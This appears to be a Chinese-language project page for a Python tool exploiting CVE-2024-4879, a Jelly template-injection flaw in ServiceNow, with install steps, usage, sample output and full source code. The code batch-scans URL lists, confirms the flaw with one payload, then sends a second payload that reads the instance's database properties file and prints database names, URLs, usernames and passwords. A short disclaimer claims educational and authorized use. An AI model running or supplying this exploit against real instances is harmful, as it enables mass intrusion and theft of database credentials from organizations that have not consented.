CVE-2024-4879 - ServiceNow 模板注入漏洞检测与利用工具
CVE-2024-4879 是一个功能强大的 Python 脚本,专为检测 ServiceNow 实例中的特定模板注入漏洞而设计。该工具能够快速扫描目标 URL,并在发现漏洞时自动导出数据库连接详情,为安全研究人员和渗透测试人员提供关键信息。
功能特性
- 自动漏洞检测:通过发送精心构造的请求,检测 ServiceNow 实例是否存在模板注入漏洞
- 数据库凭据导出:成功检测到漏洞后,自动提取数据库连接信息,包括数据库类型、URL、用户名和密码
- 批量扫描支持:支持从文件中读取多个 URL 进行批量检测
- 彩色输出界面:使用 colorama 库提供清晰的彩色控制台输出,便于快速识别结果
- SSL 警告处理:自动禁用 SSL 验证警告,适应多种测试环境
- 超时控制:内置 10 秒请求超时机制,避免长时间等待
安装指南
系统要求
- Python 3.x
- 网络连接(用于扫描目标 URL)
安装步骤
- 克隆项目仓库
git clone https://github.com/Mr-r00t11/CVE-2024-4879.git
cd CVE-2024-4879
- 安装依赖库
pip install requests urllib3 colorama
注意:
argparse是 Python 标准库,无需额外安装。
使用说明
基本用法
- 准备目标 URL 列表
创建一个文本文件(例如 urls.txt),每行一个目标 URL:
https://example1.service-now.com
https://example2.service-now.com
http://192.168.1.100
- 运行扫描工具
python CVE-2024-4879.py -f urls.txt
输出示例
当发现漏洞时,工具会输出类似以下内容:
[+] Vulnerability found in https://target.service-now.com
Database connection details dumped for https://target.service-now.com/login.do?jvar_page_title=...
[+] Database Connection Details:
glide.db.name = servicenow
glide.db.rdbms = mysql
glide.db.url = jdbc:mysql://127.0.0.1:3306/
glide.db.user = admin_user
glide.db.password = s3cr3t_p@ssw0rd
[!] Happy Hacking :)!
核心函数说明
check_vulnerability(url)
检测指定 URL 是否存在模板注入漏洞。如果漏洞存在,会自动触发数据库连接信息导出。
format_db_details(details)
格式化导出的数据库连接信息,提取关键字段(如数据库名称、类型、URL、用户名、密码)并以易读格式展示。
main()
处理命令行参数、读取 URL 文件,并遍历调用漏洞检测函数。
核心代码
漏洞检测与利用函数
# 漏洞检测核心函数
def check_vulnerability(url):
# 构造漏洞验证 payload
full_url = f"{url}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
try:
response = requests.get(full_url, verify=False, timeout=TIMEOUT)
# 检查响应状态码和内容,确认漏洞存在
if response.status_code == 200 and "1337" in response.text:
print(f"{Style.BRIGHT}{Back.CYAN}[+] Vulnerability found in {url}{Style.RESET_ALL}")
# 构造数据库信息导出 payload
dump_url = f"{url}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
dump_response = requests.get(dump_url, verify=False, timeout=TIMEOUT)
if dump_response.status_code == 200:
print(f"{Fore.GREEN}Database connection details dumped")
print(format_db_details(dump_response.text))
return f"{Fore.YELLOW}[!] Happy Hacking :)!{Fore.RESET}"
except requests.RequestException:
return f"{Style.BRIGHT}{Back.BLUE}Request failed for {url}{Style.RESET_ALL}"
数据库信息格式化函数
def format_db_details(details):
"""格式化提取数据库连接信息"""
lines = details.split("\n")
formatted_details = []
for line in lines:
if '=' in line:
key, value = line.split('=', 1)
# 仅提取关键数据库配置项
if any(db_key in key for db_key in ["glide.db.name", "glide.db.rdbms",
"glide.db.url", "glide.db.user",
"glide.db.password"]):
formatted_details.append(f"{key.strip()} = {value.strip()}")
return "\n".join(formatted_details)
主程序入口
def main():
parser = argparse.ArgumentParser(description="Check URLs for a specific vulnerability.")
parser.add_argument('-f', '--file', required=True, help="File containing list of URLs")
args = parser.parse_args()
try:
with open(args.file, 'r') as file:
urls = file.readlines()
for url in urls:
url = url.strip()
if url:
result = check_vulnerability(url)
print(result)
except FileNotFoundError:
print(f"File {args.file} not found.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
# 显示工具 banner
print(f"""{Fore.LIGHTMAGENTA_EX}
██████ ██ ██ ███████ ██████ ██████ ██████ ██ ██ ██ ██ █████ ███████ █████
██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ █████ █████ █████ ██ ██ ██ █████ ███████ █████ ███████ █████ ██ ██████
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ███████ ███████ ██████ ███████ ██ ██ █████ ██ █████
Template Injection Vulnerability in ServiceNow - By Mr r00t
{Style.RESET_ALL}""")
main()
免责声明
本工具仅供教育和授权测试使用。未经明确许可对系统进行扫描可能违反法律法规。使用者需自行承担因滥用工具而产生的一切法律责任。
6HFtX5dABrKlqXeO5PUv/4JVezAqy2aUyG+UfCaImY0=